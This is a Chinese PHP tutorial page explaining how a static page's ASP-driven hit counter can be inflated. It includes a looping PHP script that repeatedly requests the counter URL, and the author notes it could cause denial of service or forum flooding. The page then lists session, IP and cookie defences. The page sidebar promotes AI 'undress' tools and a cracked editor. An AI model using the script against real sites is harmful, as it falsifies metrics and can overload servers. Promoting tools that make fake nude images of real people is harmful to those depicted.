search
Homephp教程php手册PHP实现自动刷数和“灌水”机

  今天无意间看到一个网站,它的计数器能够在静态页里更新,我想,应该是使用js来做的,打开源代码一看,果然是:

<div align=center><SPAN class=Article_tdbgall>
作者:未知 文章来源:Meidi.Net
点击数:
<script language=’javascript’ src=’/Article/GetHits.asp?ArticleID=759’></script>
更新时间:2005-5-27</SPAN>
</div>

  点击数后面是一个asp文件去处理的,那么我打开这个文件看看:

document.write(’210’);

  是吧,就是GetHists.asp文件处理ArticleID后提取结果后输出次数:document.write(’次数’),再静态页里就能够直接引用了。

  坏人终究是坏人,那么我就想,如何能够迅速提升点击数呢?手工刷新的话不是很类,恩,赶紧写个PHP程序来自动的去访问这个文件。

  PHP代码如下:

<?php
/* access_url.php */
define(SUM, 1000); //需要访问的次数
define(L_TIME, 1000); //强制脚本执行的时间
define(S_TIME, 1); //每次访问之间休眠的时间
$url = http://www.xxx.com/Article/GetHits.asp?ArticleID=759; //需要访问的地址
set_time_limit(L_TIME);

//访问指定URL函数
function access_url($url)
{
 if ($url==’’) return false;
 $fp = fopen($url, ’r’) or exit(’Open url faild!’);
 if ($fp) {
  while (!feof($fp)) {
   $file = fgets($fp);
   echo $file."\n<p> </p>\n";
  }
  unset($file);
 }
}

//进行测试
for ($i=0; $i<SUM; $i++) {
 access_url($url);
 sleep(S_TIME);
}
?>

  运行上面的程序,那么就会连续访问指定的URL地址,那么自然这个访问次数就会连续增加,达到灌水的效果。如果是流量大,而且用多程序去运行的话,那么很容易就会达到拒绝服务(DoS)的效果了。如果对方的防范措施,把代码修改一下针对论坛进行提交,很容易实现论坛灌水的效果。

  防范方法:

  1. 代码中使用Session机制,当用户提交的时候生成一个Session ID,提交内容的时候判断是否已经提交,如果已提交那么就不允许刷。

  2. 当用户提交以后记录用户的IP地址,如果指定时间内再提交的话就不允许再提交。

  3. 当用户提交内容以后,在用户客户端写入Cookie,如果用户再次提交先检查客户端是否有Cookie来确定是否允许提交。

  还有很多其他方法,可以去搜索一下,或者发挥自己的想象力,做的更好。



Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

PhpStorm Mac version

PhpStorm Mac version

The latest (2018.2.1) professional PHP integrated development tool

mPDF

mPDF

mPDF is a PHP library that can generate PDF files from UTF-8 encoded HTML. The original author, Ian Back, wrote mPDF to output PDF files "on the fly" from his website and handle different languages. It is slower than original scripts like HTML2FPDF and produces larger files when using Unicode fonts, but supports CSS styles etc. and has a lot of enhancements. Supports almost all languages, including RTL (Arabic and Hebrew) and CJK (Chinese, Japanese and Korean). Supports nested block-level elements (such as P, DIV),

MinGW - Minimalist GNU for Windows

MinGW - Minimalist GNU for Windows

This project is in the process of being migrated to osdn.net/projects/mingw, you can continue to follow us there. MinGW: A native Windows port of the GNU Compiler Collection (GCC), freely distributable import libraries and header files for building native Windows applications; includes extensions to the MSVC runtime to support C99 functionality. All MinGW software can run on 64-bit Windows platforms.

MantisBT

MantisBT

Mantis is an easy-to-deploy web-based defect tracking tool designed to aid in product defect tracking. It requires PHP, MySQL and a web server. Check out our demo and hosting services.

EditPlus Chinese cracked version

EditPlus Chinese cracked version

Small size, syntax highlighting, does not support code prompt function